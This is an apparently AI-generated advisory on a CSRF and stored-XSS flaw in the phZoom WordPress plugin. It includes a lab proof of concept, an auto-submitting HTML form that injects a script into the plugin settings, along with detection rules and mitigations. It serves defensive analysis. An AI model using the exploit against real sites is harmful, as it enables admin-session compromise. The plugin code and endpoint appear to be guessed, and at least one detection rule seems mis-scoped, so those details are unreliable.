CVE-2024-54434

Executive Summary

CVE-2024-54434 is a Cross-Site Request Forgery (CSRF) vulnerability in the BenJemin phZoom WordPress plugin, affecting versions up to and including 1.2.92. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious JavaScript (Stored XSS). The vulnerability is classified as a WordPress ecosystem issue, as phZoom is a WordPress plugin. The CVSS score is 7.1 (High), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; users must manually check for updates or rely on the WordPress dashboard.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the context of an admin session, potentially leading to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the phZoom plugin's settings page, which lacks CSRF protection. An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, submits a forged request to the plugin's settings endpoint. This request can modify plugin options or inject malicious JavaScript into the plugin's database entries. The injected script then executes when other users (including the admin) view the affected page, leading to Stored XSS.

Root Cause: The plugin does not implement nonce verification or other CSRF tokens on its administrative actions. The admin_post or admin-ajax handlers fail to validate the origin of requests.

Attack Flow:

1. Attacker identifies a WordPress site using phZoom <= 1.2.92.
2. Attacker crafts a malicious HTML page containing a form that auto-submits to the plugin's settings endpoint (e.g., /wp-admin/admin-post.php?action=phzoom_save_settings).
3. Attacker lures an authenticated admin to visit the malicious page.
4. The admin's browser sends the forged request, modifying plugin settings or injecting XSS payload.
5. The injected script executes for all users viewing the affected page.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (phzoom <= 1.2.92):

// In admin.php or similar
add_action('admin_post_phzoom_save_settings', 'phzoom_save_settings');
function phzoom_save_settings() {
    // No nonce check
    update_option('phzoom_settings', $_POST['phzoom_settings']);
    // No CSRF protection
}

Patched Code (Hypothetical):

add_action('admin_post_phzoom_save_settings', 'phzoom_save_settings');
function phzoom_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'phzoom_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    // Sanitize and validate input
    $settings = array_map('sanitize_text_field', $_POST['phzoom_settings']);
    update_option('phzoom_settings', $settings);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: WordPress 6.x with phZoom 1.2.92 installed and activated.
• Attacker: Kali Linux with a local web server.
• Victim: Authenticated admin user.

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form id="csrf" action="http://target/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="phzoom_save_settings">
    <input type="hidden" name="phzoom_settings[option1]" value="malicious_value">
    <input type="hidden" name="phzoom_settings[xss_payload]" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the file on attacker's server: python3 -m http.server 8080
3. Send the link to the victim admin (e.g., via email or social engineering).
4. When the admin visits the link, the form auto-submits, modifying plugin settings.
5. The XSS payload executes when the admin views the plugin settings page.

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action=phzoom_save_settings.
• Look for unexpected changes to the phzoom_settings option in the database.
• Use web application firewalls (WAF) to block requests missing nonce parameters.

Mitigation:

• Disable or remove the phZoom plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS.
• Enforce strict CSRF protections on all admin actions.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=phzoom_save_settings and no _wpnonce parameter.
  • Referer header missing or spoofed.
• Host:
  • Modified phzoom_settings option in the WordPress database.
  • Unexpected JavaScript in plugin settings or output.
• File:
  • Suspicious entries in WordPress debug log (if enabled) related to phZoom.

Detection Engineering

YARA Rule

rule CVE_2024_54434_CSRF_phZoom {
    meta:
        description = "Detects CSRF exploitation attempts against phZoom plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54434"
    strings:
        $action = "phzoom_save_settings"
        $admin_post = "admin-post.php"
        $no_nonce = "phzoom_settings" wide ascii
    condition:
        $action and $admin_post and #no_nonce > 0
}

Sigma Rule

title: CVE-2024-54434 - CSRF Exploitation Against phZoom Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-post.php with phzoom_save_settings action without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=phzoom_save_settings"
        cs-uri-stem|endswith: "/wp-admin/admin-post.php"
    condition: selection
falsepositives:
    - Legitimate admin actions if nonce is present (but rule assumes no nonce)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54434 - CSRF Attempt Against phZoom Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=phzoom_save_settings"; http_uri; pcre:"/phzoom_settings/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the phZoom plugin until a patched version is released.
2. Audit WordPress admin users for any unauthorized changes.
3. Review database for suspicious phzoom_settings entries.

Long-term Fix:

• The vendor must implement CSRF nonce verification and input sanitization.
• Users should monitor the plugin's page for updates.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests missing nonce parameters.
• Implement CSP headers to prevent XSS execution.
• Restrict admin access to trusted IPs.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.